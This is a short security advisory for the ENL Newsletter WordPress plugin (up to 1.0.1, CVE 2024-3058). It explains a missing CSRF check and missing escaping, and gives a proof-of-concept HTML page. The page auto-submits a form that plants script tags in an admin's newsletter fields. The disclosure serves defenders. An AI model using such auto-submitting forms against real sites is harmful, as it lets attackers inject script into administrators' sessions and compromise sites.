ENL Newsletter <= 1.0.1 – Stored XSS via CSRF | CVE 2024-3058

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Proof of Concept

Make an admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="http://localhost:10019/wp-admin/admin.php?page=enl-add-new" method="post">
        <input type="hidden" name="action" value="create" />
        <input type="hidden" name="number" value="5" />
        <label for="name">Name:</label>
        <input type="text" id="name" name="name" value="CSRF"/>
        <input type="hidden" name="subject" value='"><script>alert(1)</script>' />
        <input type="hidden" name="header" value="CSRF!" />
        <input type="hidden" name="template" value='</textarea><script>alert(2)</script>' />
        <input type="hidden" name="footer" value="CSRF" />
        <input type="hidden" name="campaign" value="Save" />
        <input type="submit" value="Submit" />
    </form>
</body>
```